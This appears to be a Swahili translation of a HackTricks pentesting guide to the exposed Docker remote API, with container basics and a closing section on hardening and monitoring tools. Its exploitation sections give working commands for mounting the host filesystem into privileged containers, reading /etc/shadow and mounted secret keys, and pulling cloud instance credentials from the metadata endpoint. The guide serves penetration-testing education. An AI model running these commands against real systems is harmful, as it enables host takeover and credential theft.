hacktricks/network-services-pentesting/2375-pentesting-docker.md

340 lines
23 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-02-03 01:15:34 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 02:13:58 +00:00
## Misingi ya Docker
2020-12-31 10:32:10 +00:00
2024-02-11 02:13:58 +00:00
### Ni nini
2020-12-31 10:32:10 +00:00
2024-02-11 02:13:58 +00:00
Docker ni **jukwaa kuu** katika **tasnia ya kubebesha**, likiongoza **uvumbuzi endelevu**. Inarahisisha uundaji na usambazaji wa programu, kutoka kwa **za kawaida hadi za kisasa**, na kuhakikisha **kuwekwa salama** kwa mazingira mbalimbali.
2020-12-31 16:40:45 +00:00
2024-02-11 02:13:58 +00:00
### Misingi ya msingi ya Docker
2020-12-31 16:40:45 +00:00
2024-02-11 02:13:58 +00:00
- **[containerd](http://containerd.io)**: Hii ni **runtime kuu** kwa kontena, ikishughulikia **usimamizi kamili wa maisha ya kontena**. Hii ni pamoja na kushughulikia **uhamishaji na uhifadhi wa picha**, pamoja na kusimamia **utekelezaji, ufuatiliaji, na mtandao** wa kontena. **Maelezo zaidi** juu ya containerd yanajadiliwa **kwa kina zaidi**.
- **Container-shim** inacheza jukumu muhimu kama **mwenzi** katika kushughulikia **kontena zisizo na kichwa**, ikichukua nafasi ya **runc** baada ya kontena kuanzishwa.
- **[runc](http://runc.io)**: Inathaminiwa kwa uwezo wake wa **runtime wa kontena wenye uzito na wa kawaida**, runc inalingana na **kiwango cha OCI**. Inatumika na containerd kuanza na kusimamia kontena kulingana na **mwongozo wa OCI**, baada ya kubadilika kutoka **libcontainer** ya awali.
- **[grpc](http://www.grpc.io)** ni muhimu kwa **kurahisisha mawasiliano** kati ya containerd na **docker-engine**, ikihakikisha **mwingiliano wenye ufanisi**.
- **[OCI](https://www.opencontainers.org)** ni muhimu katika kudumisha **maelezo ya kiwango cha OCI** kwa runtime na picha, na toleo jipya la Docker linazingatia **viwango vya picha na runtime vya OCI**.
2020-12-31 10:32:10 +00:00
2024-02-11 02:13:58 +00:00
### Amri za msingi
2020-12-31 10:32:10 +00:00
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
2021-01-03 12:04:12 +00:00
docker save -o ubuntu.tar <image> #Export an image
2020-12-31 10:32:10 +00:00
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
```
2022-05-01 13:25:53 +00:00
### Containerd
2020-12-31 10:32:10 +00:00
2024-02-11 02:13:58 +00:00
**Containerd** ilibuniwa mahsusi kwa ajili ya kuhudumia mahitaji ya majukwaa ya kontena kama vile **Docker na Kubernetes**, miongoni mwa mengine. Lengo lake ni **kurahisisha utekelezaji wa kontena** katika mifumo mbalimbali ya uendeshaji, ikiwa ni pamoja na Linux, Windows, Solaris, na zaidi, kwa kuficha utendaji na wito wa mfumo maalum wa uendeshaji. Lengo la Containerd ni kuwa na vipengele muhimu tu vinavyohitajika na watumiaji wake, kwa kujitahidi kuondoa sehemu zisizo za lazima. Hata hivyo, kufikia lengo hili kikamilifu kunatambuliwa kuwa ni changamoto.
2020-12-31 10:32:10 +00:00
2024-02-11 02:13:58 +00:00
Uamuzi muhimu wa kubuni ni kwamba **Containerd haitashughulikia uunganishaji wa mtandao**. Uunganishaji wa mtandao unachukuliwa kuwa ni sehemu muhimu katika mifumo iliyosambazwa, na ugumu kama vile Software Defined Networking (SDN) na ugunduzi wa huduma ambao hutofautiana sana kutoka jukwaa moja hadi jingine. Kwa hiyo, Containerd inaacha masuala ya uunganishaji wa mtandao yasimamiwe na majukwaa inayoyasaidia.
2020-12-31 10:32:10 +00:00
2024-02-11 02:13:58 +00:00
Wakati **Docker inatumia Containerd** kuendesha kontena, ni muhimu kutambua kuwa Containerd inasaidia tu sehemu ndogo ya uwezo wa Docker. Kwa kusisitiza, Containerd haina uwezo wa usimamizi wa mtandao uliopo katika Docker na haishughulikii moja kwa moja uundaji wa makundi ya Docker. Tofauti hii inaonyesha jukumu maalum la Containerd kama mazingira ya utekelezaji wa kontena, ikipeleka vipengele vilivyospecializwa zaidi kwa majukwaa inayoshirikiana nayo.
2020-12-31 10:32:10 +00:00
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
2024-02-11 02:13:58 +00:00
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
2020-12-31 10:32:10 +00:00
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
```
2022-05-01 13:25:53 +00:00
### Podman
2020-12-31 15:36:23 +00:00
2024-02-11 02:13:58 +00:00
**Podman** ni injini ya chombo cha kufunga chanzo wazi ambacho kinazingatia viwango vya [Open Container Initiative (OCI)](https://github.com/opencontainers), kilichotengenezwa na kudumishwa na Red Hat. Inatofautiana na Docker kwa kuwa na sifa kadhaa tofauti, haswa muundo wake wa **kiufundi usio na daemon** na msaada kwa **makontena yasiyo na mizizi**, kuruhusu watumiaji kuendesha makontena bila kuwa na mamlaka ya mizizi.
2020-12-31 15:36:23 +00:00
2024-02-11 02:13:58 +00:00
Podman imeundwa ili iweze kufanya kazi kwa usawa na API ya Docker, kuruhusu matumizi ya amri za Docker CLI. Ulinganifu huu unajumuisha mfumo wake, ambao unajumuisha zana kama **Buildah** kwa kujenga picha za kontena na **Skopeo** kwa shughuli za picha kama vile kusukuma, kuvuta, na kukagua. Maelezo zaidi juu ya zana hizi yanaweza kupatikana kwenye [ukurasa wao wa GitHub](https://github.com/containers/buildah/tree/master/docs/containertools).
2020-12-31 15:36:23 +00:00
2024-02-11 02:13:58 +00:00
**Tofauti Kuu**
2020-12-31 15:36:23 +00:00
2024-02-11 02:13:58 +00:00
- **Muundo**: Tofauti na mfano wa mteja-seva wa Docker na daemon ya nyuma, Podman inafanya kazi bila daemon. Muundo huu una maana kwamba makontena yanafanya kazi kwa mamlaka ya mtumiaji anayeianzisha, kuimarisha usalama kwa kutokuhitaji ufikiaji wa mizizi.
2020-12-31 15:36:23 +00:00
2024-02-11 02:13:58 +00:00
- **Ushirikiano wa Systemd**: Podman inashirikiana na **systemd** kusimamia makontena, kuruhusu usimamizi wa makontena kupitia vitengo vya systemd. Hii inatofautiana na matumizi ya Docker ya systemd kwa kiasi kikubwa kwa kusimamia mchakato wa daemon wa Docker.
2020-12-31 15:36:23 +00:00
2024-02-11 02:13:58 +00:00
- **Makontena Yasiyo na Mizizi**: Sifa muhimu ya Podman ni uwezo wake wa kuendesha makontena chini ya mamlaka ya mtumiaji anayeianzisha. Hatua hii inapunguza hatari zinazohusiana na uvunjaji wa kontena kwa kuhakikisha kuwa wadukuzi wanapata tu mamlaka ya mtumiaji aliyeathiriwa, sio ufikiaji wa mizizi.
2020-12-31 15:36:23 +00:00
2024-02-11 02:13:58 +00:00
Njia ya Podman inatoa mbadala salama na nyeti kwa Docker, ikizingatia usimamizi wa mamlaka ya mtumiaji na uwezo wa kufanya kazi na mchakato wa kazi wa Docker uliopo.
2020-12-31 15:36:23 +00:00
2024-02-11 02:13:58 +00:00
{% hint style="info" %}
Tafadhali kumbuka kwamba kwa kuwa podman inalenga kusaidia API ile ile kama docker, unaweza kutumia amri sawa na podman kama vile:
2020-12-31 15:36:23 +00:00
```bash
podman --version
podman info
pdoman images ls
podman ls
```
{% endhint %}
2024-02-11 02:13:58 +00:00
## Taarifa Msingi
2020-12-15 09:18:43 +00:00
2024-02-11 02:13:58 +00:00
API ya Mbali inaendeshwa kwa chaguo-msingi kwenye bandari ya 2375 wakati inapowezeshwa. Huduma kwa chaguo-msingi haitahitaji uwakilishi wa kitambulisho kuruhusu mtu mwenye nia mbaya kuanza kontena la docker lenye mamlaka. Kwa kutumia API ya Mbali, mtu anaweza kuunganisha mwenyeji / (saraka kuu) kwenye kontena na kusoma/kuandika faili za mazingira ya mwenyeji.
2020-12-15 09:18:43 +00:00
2024-02-11 02:13:58 +00:00
**Bandari ya chaguo-msingi:** 2375
```
2020-12-15 09:18:43 +00:00
PORT STATE SERVICE
2375/tcp open docker
```
2024-02-11 02:13:58 +00:00
## Uchambuzi
2020-12-15 09:18:43 +00:00
2024-02-11 02:13:58 +00:00
### Kwa Mkono
2020-12-31 16:14:52 +00:00
2024-02-11 02:13:58 +00:00
Tafadhali kumbuka kwamba ili kuchambua API ya docker unaweza kutumia amri ya `docker` au `curl` kama ilivyo katika mfano ufuatao:
2020-12-31 16:14:52 +00:00
```bash
#Using curl
2020-12-31 16:14:52 +00:00
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
2024-02-11 02:13:58 +00:00
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
2024-02-11 02:13:58 +00:00
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
2020-12-31 16:14:52 +00:00
```
2024-02-11 02:13:58 +00:00
Ikiwa unaweza **kuwasiliana na API ya mbali ya Docker kwa kutumia amri ya `docker`**, unaweza **kutekeleza** moja ya **amri za Docker** [**zilizotajwa hapo awali**](2375-pentesting-docker.md#basic-commands) ili kuingiliana na huduma.
2020-12-31 16:14:52 +00:00
{% hint style="info" %}
2024-02-11 02:13:58 +00:00
Unaweza `export DOCKER_HOST="tcp://localhost:2375"` na **kuepuka** kutumia parameter ya `-H` na amri ya docker
{% endhint %}
2024-02-11 02:13:58 +00:00
#### Kuongeza mamlaka haraka
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
2022-05-01 13:25:53 +00:00
#### Curl
2020-12-31 16:14:52 +00:00
2024-02-11 02:13:58 +00:00
Wakati mwingine utaona **2376** ukiwa juu ya mwisho wa **TLS**. Sijaweza kuunganisha na mteja wa docker lakini inawezekana kufanya hivyo na curl.
2020-12-31 16:14:52 +00:00
```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, its also worth checking out services in case they are adding secrets via environment variables)
curl -s insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
2024-02-11 02:13:58 +00:00
Ikiwa unataka habari zaidi kuhusu hii, habari zaidi inapatikana mahali niliponakili amri kutoka: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
2020-12-31 16:14:52 +00:00
2024-02-11 02:13:58 +00:00
### Kiotomatiki
2020-12-15 09:18:43 +00:00
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
```
2024-02-11 02:13:58 +00:00
## Kudukua
2020-12-15 09:18:43 +00:00
2024-02-11 02:13:58 +00:00
Katika ukurasa ufuatao unaweza kupata njia za **kutoroka kutoka kwenye chombo cha docker**:
2020-12-31 15:47:59 +00:00
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}
2020-12-31 15:47:59 +00:00
2024-02-11 02:13:58 +00:00
Kwa kufanya hivyo, niwezekana kutoroka kutoka kwenye chombo, unaweza kuendesha chombo dhaifu kwenye kifaa cha mbali, kutoroka kutoka kwake, na kudukua kifaa hicho:
2020-12-15 09:18:43 +00:00
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
2024-02-11 02:13:58 +00:00
## Kupanda cheo
2020-12-31 16:16:16 +00:00
2024-02-11 02:13:58 +00:00
Ikiwa uko ndani ya mwenyeji ambao unatumia docker, unaweza [**kusoma habari hii ili kujaribu kupanda cheo**](../linux-hardening/privilege-escalation/#writable-docker-socket).
2021-04-28 23:33:12 +00:00
2024-02-11 02:13:58 +00:00
## Kugundua siri katika kontena za Docker zinazoendesha
2021-04-28 23:33:12 +00:00
```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
2024-02-11 02:13:58 +00:00
Angalia **env** (sehemu ya mazingira ya pembeni) kwa siri na unaweza kupata:
2021-04-28 23:33:12 +00:00
2024-02-11 02:13:58 +00:00
* Manenosiri.
* Vipelekaji.
* Bandari.
* Njia.
* Nyinginezo... .
2021-04-28 23:33:12 +00:00
2024-02-11 02:13:58 +00:00
Ikiwa unataka kuchanganua faili:
2021-04-28 23:33:12 +00:00
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
2024-02-11 02:13:58 +00:00
## Kusimamia Usalama wa Docker yako
2021-04-28 23:33:12 +00:00
2024-02-11 02:13:58 +00:00
### Kusimamia Usanidi na Matumizi ya Docker
2021-01-04 12:13:07 +00:00
2024-02-11 02:13:58 +00:00
* Unaweza kutumia zana [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) kuangalia usanidi wa sasa wa Docker yako.
* `./docker-bench-security.sh`
* Unaweza kutumia zana [https://github.com/kost/dockscan](https://github.com/kost/dockscan) kuangalia usanidi wa sasa wa Docker yako.
* `dockscan -v unix:///var/run/docker.sock`
* Unaweza kutumia zana [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) kuangalia mamlaka ambazo chombo cha Docker kitakuwa nacho wakati kinaendeshwa na chaguo tofauti za usalama. Hii ni muhimu kujua athari za kutumia baadhi ya chaguo za usalama kuendesha chombo:
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
2021-01-04 12:13:07 +00:00
2024-02-11 02:13:58 +00:00
### Kusimamia Picha za Docker
2021-01-04 12:13:07 +00:00
2024-02-11 02:13:58 +00:00
* Unaweza kutumia picha ya Docker ya [https://github.com/quay/clair](https://github.com/quay/clair) kuifanya iscan picha zako za Docker nyingine na kupata udhaifu.
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
2021-01-04 12:13:07 +00:00
2024-02-11 02:13:58 +00:00
### Kusimamia Dockerfiles
2021-01-04 12:13:07 +00:00
2024-02-11 02:13:58 +00:00
* Unaweza kutumia zana [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) kuangalia **Dockerfile** yako na kupata aina zote za makosa ya usanidi. Kila kosa litapewa kitambulisho, unaweza kupata hapa [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) jinsi ya kusahihisha kila moja yao.
* `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (418).png>)
2024-02-11 02:13:58 +00:00
* Unaweza kutumia zana [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) kuangalia **Dockerfile** yako na kupata aina zote za makosa ya usanidi.
* `dockerfilelint Dockerfile`
![](<../.gitbook/assets/image (419).png>)
2024-02-11 02:13:58 +00:00
* Unaweza kutumia zana [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) kuangalia **Dockerfile** yako na kupata aina zote za makosa ya usanidi.
* `dockerlint Dockerfile`
![](<../.gitbook/assets/image (420).png>)
2024-02-11 02:13:58 +00:00
* Unaweza kutumia zana [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) kuangalia **Dockerfile** yako na kupata aina zote za makosa ya usanidi.
* `hadolint Dockerfile`
![](<../.gitbook/assets/image (421).png>)
2024-02-11 02:13:58 +00:00
### Kurekodi Shughuli Zenye Mashaka
2021-01-04 12:13:07 +00:00
2024-02-11 02:13:58 +00:00
* Unaweza kutumia zana [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) kugundua **tabia zenye mashaka katika kontena zinazoendeshwa**.
* Tafadhali angalia sehemu ifuatayo jinsi **Falco inakusanya moduli ya kernel na kuweka**. Baada ya hapo, inapakia sheria na **anza kurekodi shughuli zenye mashaka**. Katika kesi hii, imetambua kontena 2 zenye mamlaka zilizoanza, 1 wao na kifunguo nyeti, na baada ya sekunde chache imetambua jinsi ganda lilivyofunguliwa ndani ya moja ya kontena hizo.
2024-02-08 21:36:35 +00:00
```bash
2021-01-04 12:13:07 +00:00
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
2024-02-11 02:13:58 +00:00
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
2021-01-04 12:13:07 +00:00
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
2024-02-11 02:13:58 +00:00
### Kufuatilia Docker
2021-01-04 12:13:07 +00:00
2024-02-11 02:13:58 +00:00
Unaweza kutumia auditd kufuatilia docker.
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
## Marejeo
2024-02-04 16:10:29 +00:00
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
2024-02-05 20:00:40 +00:00
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
2024-02-04 16:10:29 +00:00
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:13:58 +00:00
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-02-03 01:15:34 +00:00
2024-02-11 02:13:58 +00:00
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>